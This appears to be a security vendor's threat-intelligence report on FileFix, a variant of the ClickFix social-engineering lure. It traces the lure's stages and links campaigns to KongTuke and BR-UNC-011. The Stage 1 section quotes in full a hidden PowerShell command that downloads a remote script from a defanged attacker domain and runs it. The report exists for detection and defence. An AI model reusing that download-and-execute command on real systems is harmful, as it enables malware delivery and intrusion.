FileFix – The Evolved ClickFix

In June 2025, prominent security researcher MrD0x published a blog outlining a new variation of the ClickFix technique, dubbed FileFix. This new method bypasses the reliance on the Windows Run dialogue, an element central to traditional ClickFix attacks, by instead leveraging the File Explorer address bar to execute commands.  

As MrD0x notes, “current ClickFix attacks heavily rely on the Run dialogue”. In contrast, FileFix enables the execution of malicious commands directly from within the browser, eliminating the need for the Run prompt interaction.  

To gain a deeper understanding of FileFix, we conducted analysis of the technique within a sandbox environment to identify detection opportunities for our customers. We have also conducted analysis into campaigns that we have identified in the wild, highlighting their techniques and observed activity.   

ClickFix – The Origin of FileFix  

ClickFix is a social engineering technique first observed in active campaigns during 2024. Since then, it has gained significant adoption among threat actors as a means of achieving initial access. Notable actors leveraging this technique include TA571, TA569 and multiple initial access brokers (IABs).  

Recent campaigns have demonstrated an evolution in tactics, with threat actors incorporating malvertising and search engine optimisation (SEO) poisoning to improve the effectiveness of their operations. These enhancements are often delivered through established frameworks such as ClearFake and FakeUpdates, which serve as a method of social engineering and payload distribution.  

ClickFix is often used in conjunction with the delivery of malware, such as information stealers and loaders. In many cases, initial access obtained through this technique is sold to other threat groups, including ransomware affiliates, as part of the cybercrime-as-a-service ecosystem.  

In the above example, a spoofed CAPTCHA prompt is used to convince the user into following seemingly benign instructions, ultimately resulting in the execution of malicious code.  

At its core, the ClickFix technique relies on operator deception to manipulate victims into manually copying, pasting and executing attacker-supplied code on their own system. The malicious content is typically delivered via web pages, either hosted directly by the attacker, or injected into a legitimate, but compromised website.  

FileFix – An Emerging Technique  

In June 2025, prominent security researcher, MrD0x, published a blog outlining a new variation of the ClickFix technique, dubbed FileFix. This new method bypasses the reliance on the Windows Run dialogue, an element central to traditional ClickFix attacks, by instead leveraging the File Explorer address bar to execute commands.  

As MrD0x notes, “current ClickFix attacks heavily rely on the Run dialogue”, in contrast, FileFix enables the execution of malicious commands directly from within the browser, eliminating the need for the Run prompt interaction. Under the hood, this technique operates by tricking victims into interacting with a seemingly benign file upload interface, typically presented through basic HTML code.   

Figure 3: HTML code to create a simple “upload file” button. 

In the above example, created by researcher MrD0x, we can see that the CAPTCHA format is similar to the original ClickFix technique. However, upon inspecting the HTML code used to create the webpage, we can see that several hidden scripts are executed under the hood.  

In the example provided by researcher MrD0x, the CAPTCHA interface closely resembles the one used in the original ClickFix technique. However, upon examination of the underlying HTML code, several hidden scripts are present and executed quietly in the background. These scripts enable the attack to progress beyond user interaction, facilitating the stealthy execution of malicious code without the user’s knowledge.  

Figure 5: Malicious code is  appended to the clipboard

To gain a deeper understanding of FileFix, we conducted analysis within a sandbox environment, which validated several aspects of the attack as described by MrD0x, including a key distinction in the resulting process hierarchy. Unlike the original ClickFix technique, which typically involves execution via the Run dialogue, FileFix introduces a notably different process flow.  

Campaign Analysis 

We began initial research into the FileFix technique using information published in the blog by MrD0x. Building on this, we conducted further analysis of observed FileFix activity in the wild.  

Our investigation identified two separate campaigns that appear to leverage a combination of both ClickFix and FileFix techniques. Based on the TTP overlaps and infrastructure patterns, we assess with moderate confidence that these campaigns are linked to the ‘KongTuke’ intrusion set.  

Additionally, a third campaign employing only FileFix techniques was identified. We are currently tracking this campaign under the internal designation BR-UNC-011.  

FileFix in the Wild – BR-UNC-011 

Initially, we identified a domain that we assessed to be using the FileFix technique. The below screenshot shows initial analysis of the domain, tersmoles[.]com, which we believed to be hosting FileFix content.  

Stage 1: Initial Access – The FileFix Technique   

As outlined previously, the FileFix technique requires the user to follow the instructions listed on the page, executing malicious code manually through the File Explorer window.  

We conducted analysis of this campaign and identified that the threat actor modified the original MrD0x proof-of-concept to deliver a different malicious PowerShell script, used to initiate the attack and deliver the second-stage payload. The full command observed is as follows:  

powershell -w h -nop -c "$ic='https://tersmoles[.]com/script.ps1';$w=New-Object -Com Microsoft.XMLHTTP;$w.open('GET',$ic,$false);$w.send();iex([Text.Encoding]::UTF8.GetString($w.responseBody))" 

The PowerShell command shown above performs multiple functions and includes specific flags to alter it’s behaviour. It disables the use of user-defined profiles and executes in hidden mode, suppressing the interpreter window to conceal execution from the user. Additionally, the code leverages a legacy XHTML COM object to initiate an outbound network connection.  

This results in a HTTP GET request to the attacker-controlled server, facilitating remote retrieval of the second-stage payload. In the case of this campaign, the GET request collects a malicious PowerShell script, which is then subsequently executed using the “Invoke-Expression” function, shortened to “iex” in the above code to bypass detection.  

Stage 2: Persistence, Defence Evasion & Execution    

The infection chain progresses into stage 2, during which the retrieved PowerShell script (“script.ps1”), is downloaded and executed. This script includes routines to decode and deserialise data, drop additional malware and establish persistence.  

This script first concatenates multiple Base64 strings into a single continuous block. It then decodes the block, producing a JSON array. This array is then deserialised into a native PowerShell object, which holds the final-stage malicious payload. 

Stage 3: Staging and File Drops  

Once the script has processed the original base64 blob, a new folder is created to store the final-stage payload.  

This file contains instructions to launch the malicious payload dropped in the previous step, followed by a cleanup command which deletes the original artifacts. This stage of the attack serves to eliminate forensic evidence and obscure the threat actor’s activity.  

Further Analysis of BR-UNC-011 Infrastructure  

Following on from the investigation of the initial infection chain, we conducted analysis into the infrastructure being used by the threat actor which revealed a Secure Socket Layer (SSL) certificate being shared across several other unidentified domains.  

Analysis of the above infrastructure revealed that these domains are highly likely to be part of the same campaign, sharing similar characteristics. We assess with medium confidence that these domains are likely to be pre-attack infrastructure being used by the threat actor for testing purposes.   

Further FileFix Analysis – The KongTuke Campaign  

Following our research into the initial FileFix technique, we conducted further analysis into emerging FileFix campaigns. During July 2025, researchers under the alias ‘ExecuteMalware’, identified a domain reportedly linked to the FileFix technique.  

As shown in the below image, this malicious domain uses a fake captcha to display a series of instructions to the victim, in this case, instructing the user to click the “Start Verification” button which opens the File Explorer window, the victim then presses CTRL-L and CTRL-V to paste and execute malicious commands that are copied to the clipboard.  

The TDS is continuously maintained and updated to avoid detection and incorporates emerging social engineering techniques. Notably, KongTuke has adopted techniques in the past including ClickFix, FakeUpdates and now, FileFix.  

We conducted analysis into the KongTuke infrastructure and identified that several malicious payloads were being deployed in the campaign. Malware delivered by KongTuke includes MintsLoader, a highly-obfuscated PowerShell loader used by various groups, GhostWeaver, StealC and SocGhoulish malware have also been observed which further indicates overlap between KongTuke and previous SEO poisoning-based attacks which led to the delivery of SocGhoulish malware.  

KongTuke is assessed to be a key component of initial access broker services, selling infection data and initial access vectors to key ransomware operators such as 8Base, Akira, ShadowSyndicate, AlphV, Rhysida and more recently, Interlock ransomware. We have highlighted several indicators of compromise (IOCs) attributed to the KongTuke TDS, which can be found in the Appendix section of this report.  

Recommendations 

References  

Indicators of Compromise